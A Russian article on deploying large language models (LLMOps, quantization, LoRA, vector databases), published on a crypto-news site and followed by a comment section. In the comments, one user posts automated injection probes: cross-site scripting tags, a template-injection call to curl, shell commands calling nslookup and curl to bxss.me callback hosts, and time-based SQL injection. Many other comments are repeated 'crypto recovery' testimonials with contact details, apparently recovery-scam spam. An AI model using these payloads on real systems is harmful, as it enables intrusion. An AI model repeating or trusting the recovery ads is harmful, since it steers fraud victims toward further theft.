Русский
EnglishCryptocurrencies:
9511 /
Markets: 114262
Market Cap: $ 3 751 946 011 369 /
24h Vol: $ 203 637 902 317 /
BTC
Dominance: 58.850002902932%
Новости
LLMops: что есть, кроме ChatGPT и как это развернуть
Привет, Хабр! Меня зовут Ирина Николаева и я — руководитель R’n’D отдела машинного обучения в компании Raft Digital Solution. Я внедряла различные ML-модели: от анализа временных рядов и Computer Vision до высоконагруженных дата-инженерных сервисов.
Эта статья написана по мотивам моего доклада на Highload ++ 2023.
В статье вас ждёт: обзор LLM-моделей, техники работы с ними через призму MLOps, разбор лицензий и требований к железу. А так же трюки с квантизацией и файн-тюнингом «на сладкое».
Главный дисклеймер статьи в том, что данные лидербордов и технических требований актуальны на момент выступления на Highload, то есть ноябрь 2023, но не всё из них актуально до сих пор. Но если бы я обновила всю статью, была ли бы это та же самая статья — вопрос риторический, поэтому было принято решение оставить всё как есть.
Как всё начиналось
Как вы помните, после первого релиза ChatGPT мир вокруг начал медленно, но верно меняться. IT сфера и здесь была быстрее и выше остальных.
Изменения коснулись и компании Raft, да таким образом, что мы сменили вектор развития с заказной разработки на внедрение искусственного интеллекта и машинного обучения. Общая популярность СhatGPT и других больших языковых моделей привнесла множество новых идей для продуктов, увеличила интерес к сфере искусственного интеллекта и привлекла много тысяч AI энтузиастов по всему миру.
Мы в компании начали путешествие в мир LLM с использования ChatGPT в наших продуктах, кроме прочих продуктов и моделей. Эту ветку продуктов мы также апдейтим и развиваем и по сей день. Кроме ChatGPt, мы также используем и open source LLM и даже сделали для этого целый R’n’D отдел.
Правда, качество на уровне GPT- 3.5 открытые модели научились покорять только в начале 24-го.
Продукты компании (на основе OpenSource LLM)
Давайте поподробнее взглянем на наши основные продукты, которые под капотом работают как на моделях OpenAI, так и на OpenSource решениях.
AudioInsight
Первый продукт, о котором я расскажу — AudioInsights. Он помогает бизнесу повышать качество обслуживания клиентов и увеличивать конверсию продаж. В нём реализованы методы мониторинга и продвинутого анализа разговоров представителей компании (call center/линии поддержки) с клиентом, что помогает быстрее, дешевле и точнее проводить оценку качества работы с клиентами.
Преимущество AudioInsights в том, что он позволяет загружать в сервис записи call центра в формате MP-3 и не только. Это полезно для бизнеса, у которого уже есть голосовая поддержка или отдел прослушивания и контроля. С помощью AudioInsights вы сможете проверять качество работы call центра, собирать метрики и рассчитывать KPI быстрее и дешевле. Записей может быть много, как и метрик, и критериев для анализа. Согласитесь, что прослушивать весь этот массив «вручную» — долго, дорого и нудно. Под капотом это устроено так: используя модель и загружая в неё аудиозапись мы получим транскрибацию звонка с помощью voice-to-text модели. После чего, с помощью лучшего оптимального промпмта мы преобразовываем бизнес критерии в критерии для LLM и анализируем запись по описанным критериям.
В теории всеё выглядит просто и понятно, но есть и особенности, которые мы успели постингуть за время разработки оптимального решения. Одна из особенностей — это бинарные критерии для LLM — так проще, понятнее, детерминированее поэтому и результаты получаются лучше.
У нас есть версия, которая базируется на API ChatGPT. Это решение отлично работает и даёт нам лучшую точность из всех моделей. Но, если вам хочется работать с чувствительными данными или у вас большая нагрзука на сервис, то ChatGPT либо вообще не стоит использовать, либо использование этой модели становится достаточно дорогим. В этом мы можем убедиться на графике зависимости цены от количества запросов.
В этом случае и приходит на помощь Open Source — LLama и её альтернативы.
LLM Data Protector
Следующим продуктом является LLM Data Protector. Он мне особенно нравится, так как позволяет обезопасить бизнес от потенциальных атак пользователя и от выдачи нежелательной чувствительной информации (такой, как персональные данные, например). Если есть большие языковые модели, то есть и люди, которые их взламывают.
Им нужно, например, чтобы большая языковая модель отдавала секретные данные, заложенные в неё бизнесом и/ или разработчиками или случайно из-за засорения больших данных, на которых она обучалась — такое часто бывает с LLM. Обезопаситься можно разными способами — более подробно о них можно узнать в телеграм канале нашего Head of AI Евгения Кокуйкина — https://t.me/kokuykin, и в его статье на Хабр.
Если возвращаться к примерам, то некоторое время назад на рынок LLM выходила сетка Bloom, которая выдавала непотребства, которые даже послужили причиной временного закрытия модели. Так вот, главная фича LLM Data Protector — это защита бизнеса, применяющего различные LLM (ChatGPT в том числе) в своих решениях от казусов слива данных и получения доступа к модели.
Жизненный цикл модели в MLOps
В этой статье мы с вами смотрим на текущее положение LLM через призму MlOps — нам нужна некоторая система сравнения, поскольку иначе мы утонем в море информации и обилии моделей.
Но перед тем как перейти непосредственно к LLM, давайте вспомним базовую схему жизненного цикла любой ML модели и порефлексируем над тем, как она изменилась (и изменилась ли вообще) с приходом Large Language Models.
Более подробно схема описана в данной статье, я же остановлюсь только на нескольких интересующих нас шагах. А именно — на инференсе модели. На этапе инференса мы предполагаем, что у нас уже есть архитектура модели, файлы весов, и мы можем её захостить и использовать как запрогал её ваш DS душа пожелает. Инференсов на схеме много, хотя главный пайплайн — один. Преимущество в том, что мы можем инференсить сразу на разных устройствах и в параллель.
LLM всегда ли нужны
Важная тема о которой бы хотелось поговорить — это использование LLM. Давайте попробуем определить пулл задач, где использование столь больших моделей (при условии оплаты за инференс и получении хороших результатов) оправдано, а где лучше пойти в классические подходы и модели.
Сейчас LLM на волне хайпа, что привлекает большое количество людей в Data Science — это круто! Но, если вы решаете одну или две классические задачи, то использовать для этого ChatGPT возможно не очень оптимально (но кто же вам запретит).
Смотрите, если мы идём по пути стандартной классической old but gold модели классификатора, например, и собственноручно её дизайним и обучаем — платим за часы DS, если идём с решением LLM — тоже платим, но уже за хостинг LLM. Из плюсов классики — возможность работать с выходом модели, видоизменять его и дообучать саму модель пока не станет хорошо.
Отдельная история — это воспроизводимость результата. Если это мегаважно в текущей задаче, тут у LLM из коробки (без дообучения) тоже встречаются проблемы. И спасет либо дообучение, либо добавление в пайплайн классической модели, либо полное следование классическому подходу.
Использовать LLM стоит в задачах генерации, саммаризации и анализа текстов — поскольку в этом их главная килл фича. Используем API based LLM, когда необходим быстрый результат без длительного дообучения.
Общение с пользователями однозначно стоит переложить на плечи LLM. Это могут быть различные чат-боты, голосовые боты и др. Можно также вести блог, в котором текст будет генерироваться большой языковой моделью. Ведь при обучении использовали human feedback, поэтому писать текст она будет вполне «по-человечески». А ещё можно сделать дополнительные настройки — например, попросить использовать деловой стиль или, наоборот, ставить смайлики в конце каждого предложения.
Многообразие LLM: как выбрать и как использовать
Все модели делятся на открытые и закрытые.
Проприетарные модели: Antropic, Yandex Gpt-2, Gigachat, Grok от X.
Открытые модели: LLama 2, ruGPT, Mistral, Falcon.
Как понять какую модель вам нужно использовать: открытую или закрытую? Для этого нужно определить, насколько вам важна безопасность, хотите ли вы хостить решение в своем ЦОДе, ну и насколько модель хороша в решении именно вашей задачи в вашей доменной области.
Модели отличаются дата-сетами, на которых обучались, методиками обучения, архитектурой и другими параметрами. Чтобы подхватиь общее видение последних лидеров рынка LLM для вашего домена, можно воспользоваться открытыми бенчмарками и лидербордами.
Например:
1. huggingface_open_llm_leaderboard
2. Chatbot Arena Leaderboard
Но важно помнить, что не все бенчмарки можно воспроизвести. Поэтому слепо полагаться только на бенчмарк нельзя. Я советую выделить несколько LLM — например, минимум три или четыре, и посмотреть на практике, поставив эксперимент и получив результаты.
Про выбор модели и бенчи узнали — самое время узнать про хостинг моделей, но до хостинга есть важный юридический аспект лицензирования LLM.
Обзор лицензий моделей
На данный момент для open source существует несколько типов лицензий, которые различаются политиками использования. Стоит как минимум знать про существование оных, поскольку это может сильно сберечь энергию, время и, скорее всего, деньги вашему стартапу c LLM.
Требования к железу Llama 2
Вернёмся к модели с открытой лицензией Llama. У Llama 2 есть три версии: 7В, 13В и самая большая 70В. Циферка рядом с буквой говорит о том, насколько большая модель, на дата-сете какого размера была обучена, и как много знает. Таким образом, Llama 2 70B знает больше всех. Но чем больше модель, тем больше ресурсов нужно, чтобы её захостить. Обычно мы используем для этого сервер с четырьмя видео-картами Nvidia А100.
На картинке выше вы также можете увидеть сколько часов эти модели обучались, и примерно просчитать стоимость дообучения каждой из них.
Чтобы использовать полную версию Llama 2 70B, нам, например, не хватило четырёх видеокарт А100 по 40 гигабайт. Для этой модели нужно очень много памяти, ведь почти 80% уходит на то, чтобы просто загрузить веса, содержащие градиенты и другие артефакты, которые модель приобрела в процессе обучения. Поэтому, если мы хотим загрузить контекст больше 2000 токенов, то модель выходит за пределы памяти.
Из-за текущей стоимости видеокарт стоимость дообучения и инференса ‘ванильных’ полных моделей высокая, но всегда и везде приходят методы оптимизация и всяческого сжатия моделей до обучения, после обучения, фильтрации слоев и прочего. Посмотрим, что же применяют к LLM.
Квантизация и файн-тюнинг — убрать нельзя использовать.
Запятую предлагаю каждому поставить самостоятельно — так как методы оптимизации чаще подают под соусом ‘мы не теряем качество’ или ‘теряем очень мало информации — она все равно была не нужна’, но так ли это на самом деле?
Квантизация LLM
Давайте взглянем на святая святых — квантизацию весов. Она относится к методу оптимизации весов уже после обучения, и это прекрасно подходит LLM поскольку финальные веса и архитектура — часто всё, что нам доступно.
Это достаточно простой, но интересный трюк. Работа всех сеток базируется на матрицах и операциях свёртки либо перемножении и сложении матриц.
По умолчанию используется тип float-32, который покрывает около 4 миллиардов чисел в интервале [-3.4e38, 3.40e38]. Но нужно ли нам так много? Предлагаю рассмотреть стандартный вариант квантизации — квантоваться в int-8. Это значит, что мы берём и сжимаем весь наш четырехмиллионный диапазон float-32 в 256 значений int-8.
Без маппинга значений здесь не обойтись, но как сделать хорошее отображение из множества весов в float-32 в множество весов в Int-8, с минимальной потерей информации?
На самом деле, веса моделей имеют нормальное распределение (почему). Поэтому уровни в желаемом множестве Int-8 мы будем выделять исходя из нормального распределения: чем больше значений в диапазоне, тем больше уровней мы выделяем.
На картинке ниже можно наглядно взглянуть на разные алгоритмы квантизации и те самые уровни:
Квантизация пришла к нам из Computer Vision, но с приходом LLM и их больших размеров появились новые алгоритмы, например double quantization, а Microsoft вообще квантанули модель в int 1.
Файн-тюнинг LLM
Вспомним опять же про парадигму MlOps — в случае LLM на смену обычному обучению from scratch приходит повсеместное доообучение модели, в простонародье, fine-tuning. State of the art (SOTA) файн-тюнинга, на данный момент, — это PEFT (Parameter-Efficient Fine-Tuning).
Это множество методов дообучения, некоторые из которых мы давно используем и они максимально просты для понимания — например, Prompt-tuning. Какие-то из них безумно популярны сейчас — LoRA, какие-то используют далеко не все — привет, AttentionFusion. Скорее всего, если вы сталкивались с файнтюнингом в статьях или репозиториях, то это была LoRA или QLoRA. А снискали они своё частое использование в связи с тем, что позволяют достаточно быстро дообучить модели, используя подход с адаптерами и уменьшением ранга. Давайте смотреть!
Итак, LoRA расшифровывается как low rank adaptation. На вход подается W — матрица наших изначальных весов и замораживается — в ней мы пока ничего не обновляем. Затем во время дообучения мы хотим докидывать новую информацию, то есть матрицу новых весов W и суммировать её со старой. Суть метода в том, чтобы снизить размерность матрицы W путём перехода к матрице меньшего ранга (почему так можно), и работать впоследствии уже только с ней. То есть самые ресурсозатратные операции во время дообучения мы будем производить снизив размерность, а потом сделав обратное преобразование перейдём назад к размерности матрицы W, сложим значения матриц W + W (старая и новая информация), и получим новый красивый output.
Q-LoRA — это LoRA только с квантизацией в int-4. Это классная фича, которая позволяет запускать LLM на MAC или компьютере с CPU. Только вот время ответа и контекст во время диалога на практике сильно падает. Поэтому я бы советовала не квантоваться в int-4, а начать с больших размерностей.
Векторные базы данных и Lang Chain
После выбора модели, её возможной квантизации и дообучения встаёт вопрос о разворачивании самой модели и envirpment’а вокруг неё. На данный момент существует несколько проверенных связок, которые дают хорошие результаты и зарекомендовали себя на продакшн уровне.
Первое, что хочется отметить здесь — это векторные базы данных. Они оперируют эмбедингами или векторными представлениями слов, что ускоряет поиск по базе и оптимизирует хранение большого датасета.
Векторное представление слов — это трансформация текста, картинки или аудио в вектор. Размерность вектора зависит от вашей задачи и модели для эмбединга.
Если вас не устраивает размерность получившейся базы, можно посмотреть про снижение размерности и PCA. Если ваши эмбединги плохо различаются и путаются, советую присмотреться к использованию Triplet Loss’a в вашей эмбединг модели.
Существующие векторные БД:
Pinecone, Weaviate, Qdrant, Milvus, Vespa
MongoDB, Cassandra, PostgreSQL и SingleStore
LangChain – это фреймворк для разработки AI решений. Он содержит в себе всё, что нужно: модели, которые можно выбрать под свой запрос, шаблоны для промптов, индексацию по документам. В LangChain также есть реализация памяти и чейны, что делает его хорошим инструментом для беглой разработки прототипа.
Финал — что же нового в LLMOps
Подытожив всю новую информацию пришёл черёд взглянуть на неё с позиции жизненного цикла модели. Можно заметить, как некоторые из его шагов, немного видоизменились: вместо обучения модели с нуля в случае LLM у нас выступает файн-тюнинг, которого на данный момент более, чем достаточно, тестирование моделей сейчас не обходится с помощью human evaluation, что раньше не всегда было нужно, ну а инференс стал требовать бОльших ресурсов и обязательной оптимизации.
Давайте смотреть вместе, что же ещё изменят LLM в привычных процессах машинного обучения!
-
09.10.25 08:09
pHqghUme
can I ask you a question please?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
can I ask you a question please?
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
11.10.25 04:41
luciajessy3
Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
-
11.10.25 10:44
Tonerdomark
A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 19:53
Tonerdomark
A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
-
12.10.25 21:36
blessing
Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 01:15
tyleradams
Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
